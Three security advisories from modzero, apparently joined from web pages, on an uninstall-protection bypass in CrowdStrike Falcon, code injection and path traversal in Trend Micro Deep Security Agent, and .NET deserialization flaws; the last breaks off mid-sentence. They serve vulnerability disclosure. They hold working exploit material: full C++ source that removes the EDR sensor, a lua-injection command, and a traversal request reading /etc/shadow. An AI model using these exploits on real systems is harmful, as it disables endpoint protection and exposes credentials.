1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387

------------------------------------------------------------------v1-
modzero Security Advisory [MZ-22-02]:
Uninstall Protection Bypass for CrowdStrike Falcon Sensor
---------------------------------------------------------------------

CrowdStrike Falcon is a cloud-powered endpoint detection and response
(EDR) and antivirus (AV)  solution. On each end-device  a lightweight
managed  sensor  is  deployed  and  makes  use  of  the   cloud-based
capabilities.  The  sensor  can   be  configured  with  a   uninstall
protection.  It  prevents the  uninstallation  of CrowdStrike  Falcon
sensor on the end-device without a one-time generated token.

Exploiting this vulnerability allows  an attacker with administrative
privileges to  bypass the token  check on Windows end-devices  and to
uninstall the  sensor from  the device without  proper authorization,
effectively removing the device's EDR and AV protection.

---------------------------------------------------------------------
1. Timeline
---------------------------------------------------------------------

2022/04    - Found   vulnerability  in   CrowdStrike  Falcon   Sensor
             (6.31.14505.0)

2022/06/04 - modzero  asked  for   security  contact  @  CrowdStrike,
             because their "report a  security bug" page only refered
             to the hackerone Bug Bounty program.

2022/06/06 - CS  answered   that  modzero   can  use   the  hackerone
             submission page, or  send an E-Mail to  their support at
             support@crowdstrike.com.

2022/06/06 - modzero  asked   if  it   is  okay  to   send  sensitive
             information  about  0day  vulnerabilities  to  support@.
             modzero also told  CS that we are not  willing to accept
             terms & conditions  of hackerone, which is  why we asked
             for a direct security contact.

2022/06/06 - CS offered  to enroll  modzero in  a private  bug bounty
             program at  hackerone, under the conditions  that we are
             willing to sign a mutual non-disclosure agreement.

2022/06/07 - to  prevent further  misunderstandings, modzero  told CS
             again, that:

             * We would like to submit a security related bug.
             * We don't want to participate in any bug bounty
               programs.
             * We are not willing to sign any NDA because WE are the
               ones, providing information to CS.
             * We are not willing to accept any sort of terms and
               conditions that are out of scope of well known hacker
               ethics.
             * We only want to get a reliable security contact on
               their side.

             Aditionally,  modzero  sent  a  link  to  their  current
             vulnerability disclosure policy.

2022/06/07 - CS told us to send the report to bugs@ for review.

2022/06/13 - CS asked for the report.

2022/06/13 - modzero told CS  that we need a little bit  more time to
             finish and double check everything before submitting.

2022/06/29 - modzero sent Security Advisory (draft), Proof of Concept
             exploit sourcecode, executable and a Screencast video of
             the PoC to CS.

2022/06/29 - CS  told  us,  that  we   were  testing  using  only  an
             unsupported  version of  the Falcon  Sensor. CS  told us
             about the  error message and  that they are not  able to
             reproduce.

2022/07/05 - modzero told  CS that the  error message can  be ignored
             and refered  to the  PoC screencast video. We also asked
             for a recent (14-day trial)  version of Falcon Sensor to
             provide reliable information if  the most recent version
             is still vulnerable or not.

2022/07/05 - CS answered: "We  do not provide trial  licenses as part
             of this  process, however having  tested the PoC  on our
             end with  a modern sensor this  does not appear to  be a
             valid issue."

2022/07/05 - modzero  announced publishing  the advisory  and exploit
             code by end  of week, asking if the quote  of CS "Having
             tested the PoC on our end with a modern sensor this does
             not  appear to  be a  valid issue"  can be  used in  our
             report.

2022/07/06 - CS asking for a  meeting between modzero's Sr Leadership
             and CS to  discuss next steps related to  the bug bounty
             disclosure.

2022/07/07 - modzero, again,  told CS, that we  are not participating
             in any bug  bounty program and that there is  no need to
             discuss NDAs or bug bounty programs.

2022/08/12 - modzero managed to acquire a recent version (6.42.15610)
             of CrowdStrike  Falcon and verified, that  the attack is
             still  possible. Furthermore,  modzero figured  out that
             the  vulnerability  (that  was rejected  by  CrowdStrike
             first) has  been silently fixed:  The PoC that  has been
             sent  to  CrowdStrike  was  flagged  as  malicious.  The
             msiexec  call of  the  deinstaller was  also flagged  as
             malicious.  Both "countermeasures"  can be  circumvented
             easily, we updated the exploit accordingly.

2022/08/22 - modzero   publishes   Security  Advisory   and   exploit
             code,  because  CrowdStrike  was  unwilling  to  set  up
             a  cooperative  information  exchange outside  of  their
             NDA-ridden bug bounty program to discuss vulnerabilities
             in their products.

---------------------------------------------------------------------
2. Summary
---------------------------------------------------------------------

Vendor: CrowdStrike
Homepage: https://www.crowdstrike.com/endpoint-security-products/falcon-endpoint-protection-enterprise/

Error Class:

* CWE-691: Insufficient Control Flow Management
(https://cwe.mitre.org/data/definitions/691.html)

The  code  does  not  sufficiently manage  its  control  flow  during
execution,  creating conditions  in  which the  control  flow can  be
modified in unexpected ways.

Products known to be affected:

* CrowdStrike Falcon (6.31.14505.0)
* CrowdStrike Falcon (6.42.15610)

Please note: Other versions might be affected as
well, but were not tested by modzero.

CVE-ID: CVE-2022-2841
Severity: Medium/4.4 (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)
Vendor: CrowdStrike
Product: CrowdStrike Falcon
Version: 6.42.15610
Attack type: Local
Affected Components: Uninstall Protection

---------------------------------------------------------------------
3. Details
---------------------------------------------------------------------

CrowdStrike  Falcon is  a cloud-native  antivirus (AV)  and  endpoint
detection and response (EDR) solution for end-devices. A sensor agent
is deployed on each end-device,  which are then managed and connected
with a cloud monitoring system.

The "Uninstall Protection"  feature allows to  lock down devices  and
prevent  device users,  including administrators,  from removing  the
sensor agent without a one-time, device-specific maintenance token.

During  a  security  analysis modzero  was  required  to uninstall  a
CrowdStrike  Falcon  Sensor  installation  on  a  Windows workstation
without having access to the maintenance token.

After analysing the  software removal procedure,  it was possible  to
develop  an  automated  proof of  concept  tool,  which corrupts  the
CrowdStrike Falcon Sensor removal process. As a result, the procedure
ignores the maintenance token check.

This allows an  attacker with administrator  rights to uninstall  and
stop  the CrowdStrike  Falcon Sensor  and its  corresponding  Windows
services without a valid token.

---------------------------------------------------------------------
4. Impact
---------------------------------------------------------------------

An attacker with administrative access  to a machine, can bypass  the
"Uninstall Protection" of the CrowdStrike Falcon Sensor.

The   attack   removes   the   software,   leaving   the  CrowdStrike
administrator  in  the  dark  about  potential  attacks  on  the  now
unprotected endpoint.

This is particularly  undesirable, given that this is a  cloud-native
service where customers expect alerts for security-related actions.

---------------------------------------------------------------------
5. Proof of Concept
---------------------------------------------------------------------

The following proof of concept code allows an administrator to remove
the CrowdStrike Falcon Sensor without maintenance token:

//
// CrowdStrike Falcon Sensor
// De-Installation Auth-Bypass Proof-of-Concept
//
// Falcon Sensor is installed with an uninstall protection, to prevent unauthorized administrators
// from removing Falcon Sensor. The following Proof-of-Concept exploit allows to bypass the
// uninstall protection (token check). This can be used to remove the endpoint's EDR and AV protection.
//
// References:
// - modzero MZ-22-02 Security Advisory
// - CVE: CVE-2022-2841
//
// Version: 0.3
// Secrecy: CONFIDENTIAL
// Copyright 2022, modzero AG, Wartstr. 20, 8400 Winterthur, Switzerland
//
// Usage example:
//   .\CSFalconTokenBypass.exe 'C:\ProgramData\Package Cache\{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}v6.XX.XX.0\CsAgent.LionLanner.msi'
//

#pragma once
#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <psapi.h>
#include <list>
#include <iostream>

std::list<int> g_msiexec_instances = {};
int g_msiexec_instance_count = 0;

void CheckProcess(DWORD process_id)
{
    TCHAR process_name[MAX_PATH] = { 0 };
    HANDLE h_proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);

    if (nullptr != h_proc) {

        HMODULE h_mod = 0;
        DWORD c_need = 0;

        if (EnumProcessModules(h_proc, &h_mod, sizeof(h_mod), &c_need)) {

            GetModuleBaseName(h_proc, h_mod, process_name,
                sizeof(process_name) / sizeof(char));
        }

    } else {
        return;
    }
    if (wcsstr(_wcslwr(process_name), __T("msiexec"))) {

        bool already_found = (
            std::find(
                g_msiexec_instances.begin(),
                g_msiexec_instances.end(),
                process_id) != g_msiexec_instances.end()
            );

        if (!already_found) {

            g_msiexec_instance_count++;
            std::cout << "[+] Installer spawned process: " << process_id << std::endl;

            g_msiexec_instances.push_front(process_id);

            // If it's the third process, we try to kill it to produce open MSIHandles.
            // This will break the uninstaller token check.

            if (g_msiexec_instance_count == 4 || g_msiexec_instance_count == 5) {

                std::cout << "[+] Killing process: " << process_id << std::endl;

                if (!TerminateProcess(h_proc, 123)) {
                    std::cout << "[!] Failed to kill process with PID " << process_id << ": " << GetLastError() << std::endl;
                }

                if (g_msiexec_instance_count == 5) {
                    std::cout << "[+] Uninstall Protection should be bypassed." << std::endl;
                    exit(0);
                }
            }
        }
    }

    CloseHandle(h_proc);
}

int main(int argc, char* argv[])
{
    DWORD proc_ids[1024] = { 0 };
    DWORD c_need = 0;
    DWORD c_procs = 0;
    DWORD i = 0;

    if (argc != 2) {
        std::cout << "Usage:" << std::endl << argv[0] << " PATH_TO_CsAgent.LionLanner.msi" << std::endl;
        return 1;
    }

    // increase priority to realtime and start uninstall
    SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);

    std::string path = std::string(argv[1]);
    unsigned first = path.find("{");
    unsigned last = path.find_last_of("}");
    std::string guid = path.substr (first,last-first+1);
    std::string cmd = "start msiexec /x " + guid;

    system(cmd.c_str());

    // now listen for processes popping up
    while (1) {

        if (!EnumProcesses(proc_ids, sizeof(proc_ids), &c_need)) {
            std::cout << "[-] Failed to read processes." << std::endl;
            return 1;
        }

        c_procs = c_need / sizeof(DWORD);

        // Check every process ID
        for (i = 0; i < c_procs; i++) {

            if (proc_ids[i] != 0) {
                CheckProcess(proc_ids[i]);
            }
        }
    }

    return 0;
}

To use the Proof  of Concept, the code  must be compiled with  Visual
Studio,    and    be    run    as    administrator,    pointing    to
`CsAgent.LionLanner.msi` as argument e.g.:

.\CSFalconTokenBypass.exe 'C:\ProgramData\Package Cache\{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}v6.XX.XX.0\CsAgent.LionLanner.msi'

After executing it, the software removal procedure starts and a popup
with an error message, that the  token is invalid will show up. After
closing the  popup,  the uninstallation  continues and removes
all components.

---------------------------------------------------------------------
6. Fix
---------------------------------------------------------------------

- n/a

---------------------------------------------------------------------
7. Credits
---------------------------------------------------------------------

  * Pascal Zenker (parzel) of modzero
  * Max Moser (mmo) of modzero

---------------------------------------------------------------------
8. About modzero
---------------------------------------------------------------------

The independent  Swiss-German  company  modzero assists  clients with
security analysis  in the complex  areas of computer  technology. The
focus  lies on  highly  detailed  technical  analysis  of   concepts,
software  and  hardware  components as  well as  the  development  of
individual  solutions.  Colleagues  at  modzero work  exclusively  in
practical, highly  technical computer-security  areas and can draw on
decades of  experience  in various  platforms,  system concepts,  and
designs.

https://www.modzero.com contact@modzero.com

modzero follows coordinated disclosure practices described here:

https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.

This policy  should  have been  sent to  the vendor  along with  this
security advisory.

---------------------------------------------------------------------
9. Disclaimer
---------------------------------------------------------------------

The information  in the advisory  is believed  to be accurate  at the
time of publishing based  on currently available  information. Use of
the information constitutes acceptance for use in an AS IS condition.
There are no  warranties  concerning  this  information. Neither  the
author  nor the  publisher  accepts  any liability  for  any  direct,
indirect, or  consequential  loss or  damage  arising from  using, or
reliance on, this information.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253

------------------------------------------------------------------v1-
modzero Security Advisory [MZ-21-02]:
Critical Vulnerabilities in Trend Micro Deep Security Agent for Linux
---------------------------------------------------------------------

---------------------------------------------------------------------
1. Timeline
---------------------------------------------------------------------

* 2021-09-07: Initial contact, PGP key exchange, Advisory (draft)
              along with fully working exploits written in Python
              submitted.
* 2021-09-08: Received a (probably automated) plaintext reply full-
              quoting the previously PGP-encrypted initial email.
* 2021-09-15: Asked for status update and the usage of PGP.
* 2021-09-18: Received confirmation for the observed behavior.
* 2021-09-22: Trend Micro shared a status update: They are working on
              a fix, ETA is end of October 2021.
* 2021-09-23: Asked for a CVE number.
* 2021-09-27: Received confirmation that vulnerabilities are valid.
              Assignment of CVE would depend on fix to be released.
* 2021-10-12: Received a test build, that supposedly fixes code
              injection and directory traversal issues.
* 2022-01-12: Assignment of CVE numbers: CVE-2022-23119,
              CVE-2022-23120
* 2022-01-19: Public release

---------------------------------------------------------------------
2. Summary
---------------------------------------------------------------------

Vendor: Trend Micro
Homepage: https://www.trendmicro.com

Products known to be affected:

- Deep Security Agent 20.0.0-2740 for Ubuntu
- Deep Security Agent 20.0.0-2921 for Ubuntu

The Trend Micro Deep Security Agent is an agent software for different
operating  systems, that  connects with a server  software to  perform
tasks related to virus protection.

The Trend Micro Deep Security software suite consists of server and a
client (agent) component. After an initial configuration (activation),
the clients are managed by the server.

Once installed as instructed by the vendor, the Trend  Micro Deep
Security  agent is  running as  root user. A  compromise of the agent
results in high privileges on the system.

If left   unconfigured,  a  machine with  the  Deep  Security   agent
installed is vulnerable to a privilege escalation attack, that allows
a local attacker to run arbitrary code as root. This is due to a code
injection vulnerability in the `ActivateAgent` command, which is sent
by the server.

An addition directory  traversal vulnerability in the `GetCopiedFile`
command allows a remote attacker to read arbitrary files from the
filesystem.

The  Trend Micro  Deep  Security  agent  software  is  shipped   with
hardcoded credentials such as private key material.

---------------------------------------------------------------------
3. Details
---------------------------------------------------------------------

* 3.1. Local Privilege Escalation

The Trend Micro  Deep Security  Agent does  not perform  proper input
sanitization,  which allows a local  unprivileged  attacker to inject
and run code as `root` user.

The `ActivateAgent`  remote procedure call can  be used to inject lua
code as can be seen in the disassembly:

---- listing 1 ----
local Activate = function(self)
  self.connectionHandler.dom:SetNil(self.activationLogSetting)
  self.connectionHandler.dom:SetNil(self.activationCodeSetting)
  cb:Invoke(CALLBACKS.PreThreadCreate, self)
  if not self.activationThread then
    local codeToRun = self.codeToRunFmt:format(dsa.DomString(self.connectionHandler.dom:Get("uuid")), self.url, self.activationLogSetting, self.activationCodeSetting)
    dsa.LogTrace(_NAME, "Starting thread to execute: %s", codeToRun)
    self.activationThread = Thread(codeToRun, "ActivateThread", self.connectionHandler.dom)
  end
---- /listing 1 ----

The  variable `self.url`  is  an  attacker controlled  input (via the
`host` HTTP-GET parameter), thus `codeToRun` is attacker controlled.
In line 8 of listing 2 that code is executed.
An  example  request  sent  with the  `sendCommand` utility, that  is
shipped with the agent software looks like this:

---- listing 2 ----
./sendCommand --get 'ActivateAgent' 'host=","","");print("PoC");aia=Activate("http'
---- /listing 2 ----

In the log file, the debug message from line 7 is visible:

---- listing 3 ----
2021-08-26 07:30:48.518144 [-0800]: [dsa.Command.ActivateAgent/5] | Starting thread to execute: local Activate = require "dsa.Activate"; local aia = Activate(nil, "https://","","");print("PoC");aia=Activate("http:4120/", "dsa.Activate.logData", "dsa.Activate.statusCode"); aia:main(); | dsa/Command/ActivateAgent.lua:34:(null) | 792:7FB6077FF640:ConnectionHandlerPool_0004
---- /listing 3 ----

The `print("PoC")` command has been successfully injected into
`codeToRun`, which is then run, as can be seen in the next line
from the log file:

---- listing 4 ----
2021-08-26 07:30:48.598320 [-0800]: [Message/3] | PoC | [string "dsa"]:1:(null) | 792:7FB606CFF640:ActivateThread
---- /listing 4 ----

A more sophisticated PoC that runs the shell code `whoami > /poc` is
provided in the 'Exploits' section.

* 3.2. Arbitrary File Read / Directory Traversal

The Trend Micro  Deep Security  Agent does  not perform  proper input
validation and concatenates  attacker controlled  input to a filepath
as shown in the lua disassembly:

---- listing 5 ----
 if dsa.OS == "Linux" then
    if connectionHandler.dom:Get("dsa.mode.vmsafeGuest") then
      fname = plpath.join(workDir, "CopyFiles/copied/" .. queryArgs.taskname .. "/" .. queryArgs.fileid)
    else
      fname = plpath.join(workDir, "guests/0000-0000-0000/CopyFiles/copied/" .. queryArgs.taskname .. "/" .. queryArgs.fileid)
    end
  else
    fname = plpath.join(workDir, "dsa_core\\CopyFiles\\copied\\" .. queryArgs.taskname .. "\\" .. queryArgs.fileid)
  end
---- /listing 5 ----

Both   `queryArgs.taskname`  and   `queryArgs.fileid`  are   attacker
controlled HTTP GET parameters.

An example request to get the `/etc/shadow` file with password hashes
would look like this:

`GET https://10.0.0.2:4118/GetCopiedFile?taskname=.&fileid=../../../../../../../etc/shadow`

If the agent is  left unconfigured  (has not been  'activated' by the
server component)  or the server has  been compromised,  the agent is
vulnerable to such an attack.

* 3.3. Default CA is shipped with a private key

The Trend  Micro Deep  Security Agent  authenticates  remote  servers
using mutual TLS (mTLS): Both the  server and the agent identify each
other by presenting a certificate.

The agent software ships  with a hardcoded  default X.509 certificate
and a  corresponding  private  key.  Until the  agent is   configured
('activated')  by the server  component this  certificate  is used in
communications with the server. It is stored in the shared object file
/opt/ds_agent/lib/dsa_core.so

The agent software uses a certificate authority (CA) to establish the
server's  identity.  When  the  server  connects to  the  agent,  its
certificate is validated against this CA.

However, the  agent uses its  own certificate  also as a  CA. As this
certificate ships with a private key it is possible for an attcker to
create and sign their own server certificate, imitate a server and to
send commands to the client software.

Thus an attacker can:
  * extract the CA (certificate + private key) from the agent software
  * generate their own certificate + key
  * sign their certificate with the CA taken from the agent software
  * use it for further communication with the agent
  * configure their own certificate in the agent and 'activate' it

---------------------------------------------------------------------
4. Impact
---------------------------------------------------------------------

The identified vulnerabilities in the Trend Micro Deep Security Agent
software result in local privilege escalation and arbitrary remote
file reads.

---------------------------------------------------------------------
5. Prerequisites
---------------------------------------------------------------------

For an attacker  to suceed  with a privilege  escalation  attack, the
agent has to  be left unconfigured  (not  'activated') or  the server
component has to be compromised.  Furthermore local code execution or
the ability to originate HTTP requests  from localhost (e.g. SSRF) is
required.

For an attacker  to succeed  with a directory  traversal  attack, the
agent has to  be left unconfigured  (not  'activated') or  the server
component has to  be compromised.  Furthermore network  access to the
agent software is required.

---------------------------------------------------------------------
6. Exploits
---------------------------------------------------------------------

All PoC exploits, tools  and additional information  are available on
Github: https://github.com/modzero/MZ-21-02-Trendmicro


---------------------------------------------------------------------
7. Fix
---------------------------------------------------------------------

* 2021-10-12: The vendor supplied a test build that supposedly fixes
              the directory traversal and the local privilege
              escalation.

---------------------------------------------------------------------
8. Credits
---------------------------------------------------------------------

  * Fluepke (Carl Fabian Luepke) of modzero


---------------------------------------------------------------------
9. About modzero
---------------------------------------------------------------------

The independent  Swiss-German  company  modzero assists  clients with
security analysis  in the complex  areas of computer  technology. The
focus  lies on  highly  detailed  technical  analysis  of   concepts,
software  and  hardware  components as  well as  the  development  of
individual  solutions.  Colleagues  at  modzero work  exclusively  in
practical, highly  technical computer-security  areas and can draw on
decades of  experience  in various  platforms,  system concepts,  and
designs.

https://www.modzero.com contact@modzero.com

modzero follows coordinated disclosure practices described here:

https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.

This policy  should  have been  sent to  the vendor  along with  this
security advisory.

---------------------------------------------------------------------
10. Disclaimer
---------------------------------------------------------------------

The information  in the advisory  is believed  to be accurate  at the
time of publishing based  on currently available  information. Use of
the information constitutes acceptance for use in an AS IS condition.
There are no  warranties  concerning  this  information. Neither  the
author  nor the  publisher  accepts  any liability  for  any  direct,
indirect, or  consequential  loss or  damage  arising from  using, or
reliance on, this information.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539

---------------------------------------------------------------- v5 ---

modzero Security Advisory:
Multiple deserialization vulnerabilities in the .Net runtime [MZ-20-03]

-----------------------------------------------------------------------

-----------------------------------------------------------------------

1. Timeline

-----------------------------------------------------------------------

* 2020-02-14: This  advisory  has been  sent to the Microsoft  security
              team (security@microsoft.com).
* 2020-02-19: Microsoft  requests  that  the  three  vunerabilities are
              resubmitted individually.
* 2020-02-19: Vulnerabilities resubmitted individually.
* 2020-02-29: Microsoft closes 4.2 as "By Design".
* 2020-03-19: Microsoft accepts 4.1 as a security issue.
* 2020-03-19: Microsoft closes 4.3 as "By Design".
* 2020-04-07: Microsoft  informs  modzero of a planned patch release on
              June 9th.
* 2020-06-02: Microsoft informs modzero that the vulnerability  will be
              fixed with documentation only.
* 2020-06-08: modzero replies with concerns regarding the proposed fix.
* 2020-06-15: Microsoft replies that they will go through with the fix.
* 2020-06-16: modzero publishes this disclosure.

-----------------------------------------------------------------------

2. Summary

-----------------------------------------------------------------------

Vendor: Microsoft

* 4.1 Deserialization vulnerability in
      IsolatedStorageFileEnumerator::MoveNext via crafted  identity.dat
      file leading to arbitrary code execution
      modzero: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H -> 8.2

* 4.2 Deserialization vulnerability in
      BinaryServerFormatterSink::ProcessMessage
      4.2.1 When configured with TypeFilterLevel.Low
           Denial of Service
           modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H -> 7.5

      4.2.2 When configured with TypeFilterLevel.Full
           Remote code execution
           modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H -> 9.0

* 4.3 Deserialization vulnerability in
      System.Messaging.Message::get_Body() using a
      BinaryMessageFormatter   leading   to   remote   code   execution
      modzero: CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H -> 9.0

-----------------------------------------------------------------------

3.0 Introduction

-----------------------------------------------------------------------

modzero identified several critical vulnerabilities in the .Net runtime
which  can lead to  denial of service  or remote code execution attacks
against services using standard built-in .NET features. A potential for
local  privilege  escalation  or persistence  using the IsolatedStorage
vulnerability was also found.

Any  software  using  the  vulnerable  .Net  components is  potentially
affected.
Specifically:

    * Enumeration of IsolatedStorage spaces
    * .Net Remoting with binary serialization
    * .Net MSMQ with a BinaryMessageFormatter

modzero  identified  and  tested the  vulnerabilities to be present in:

.NET Framework
4.8 4.7.2 4.7.1 4.7 4.6.2 4.6.1 4.6 4.5.2 4.5.1 4.5

Earlier  versions  have not been tested, but are  likely to at least be
partially affected as well.

-----------------------------------------------------------------------

4. Details

-----------------------------------------------------------------------

4.1 Triggering Deserialization vulnerability in
    IsolatedStorageFileEnumerator::MoveNext  via  crafted  identity.dat
    file leads to arbitrary code execution

An attacker  with write access  to the  identity.dat file can  inject a
deserialization payload, which will be  executed when the built-in .NET
method   IsolatedStorageFileEnumerator::MoveNext    is   called.   When
creating   an    IsolatedStorage   space    in   the    Machine   scope
(IsolatedStorageScope.Machine)  its  identity.dat  file  has  read  and
write permissions  for the  "Everyone" Windows-Group. An  attacker with
access to any account can  create a Machine scope IsolatedStorage space
and cause  the vulnerability  to trigger on  the next  enumeration. The
enumeration itself  does not  have to  be controlled  or issued  by the
attacker  and thus  the  execution  takes place  in  the context  where
enumeration occurs.

When    using    an    IsolatedStorageFileEnumerator    to    enumerate
IsolatedStorage spaces, the  MoveNext method will read  the contents of
each  space's  identity.dat  file  and  deserialize  them  without  any
security features enabled. The identity.dat  files in the Machine scope
have  read/write  permissions   for  the  Everyone  group   and  a  low
privileged user  can craft an  identity.dat file to execute  a standard
deserialization attack when another user enumerates storage spaces.

This for example affects the storeadm.exe tool.

The  following  code  snippets  demonstrate   how  the  data  from  the
identity.dat  file is  passed directly  into a  BinaryFormatter without
further sanitization or any security measures.

IsolatedStorageFileEnumerator::MoveNext calls
this.GetIDStream(twoPaths.Path1,  out  stream)  to  retrieve  the  file
contents of  the associated  identity.dat file of  each IsolatedStorage
space into a stream variable.


    public bool MoveNext()
    {
      while (this.m_fileEnum.MoveNext())
      {
        [...]
        if (flag)
        {
          if (!this.GetIDStream(twoPaths.Path1, out stream) || !this.GetIDStream(twoPaths.Path1 + "\\" + twoPaths.Path2, out stream2))
          [...]
        }
        else if (IsolatedStorageFile.NotAppFilesDir(twoPaths.Path2))
        {
          if (!this.GetIDStream(twoPaths.Path1, out stream2))
          [...]
          stream2.Position = 0L;
        }
        else
        {
          if (!this.GetIDStream(twoPaths.Path1, out stream3))
          [...]
          stream3.Position = 0L;
        }


The  previously   populated  stream  variable  holding   the  possibliy
malicious identity.dat file's  content is passed to an  overload of the
InitStore method as documented in the followind code section.


    if (isolatedStorageFile.InitStore(scope, stream, stream2, stream3, domainName, assemName, appName) && isolatedStorageFile.InitExistingStore(scope))
    {
      this.m_Current = isolatedStorageFile;
      return true;
    }


The InitStore method then passes  the MemoryStream of the file contents
into a BinaryFormatter without enabling any security features on it.


    internal bool InitStore(IsolatedStorageScope scope, Stream domain, Stream assem, Stream app, string domainName, string assemName, string appName)
    {
      BinaryFormatter binaryFormatter = new BinaryFormatter();
      [...]
        this.m_AppIdentity = binaryFormatter.Deserialize(app);
      [...]
        this.m_AssemIdentity = binaryFormatter.Deserialize(assem);
      [...]
          this.m_DomainIdentity = binaryFormatter.Deserialize(domain);


This  allows   execution  of  arbitrary  code   by  utilizing  standard
BinaryFormatter deserialization  gadgets; payloads  can for  example be
generated using the ysoserial.net tool.  This can be used for privilege
escalation, especially since enumeration  of isolated storage spaces is
typically only performed during administrative tasks.

When creating an IsolatedStorage space scoped  to a user with a roaming
profile,   the  modified   identity.dat  file   may  be   automatically
transferred  across  an Active  Directory  network.  In this  case  the
vulnerability  may  spread across  the  network  if an  enumeration  of
storage  spaces  is  regularly  performed. A  transferred  payload  can
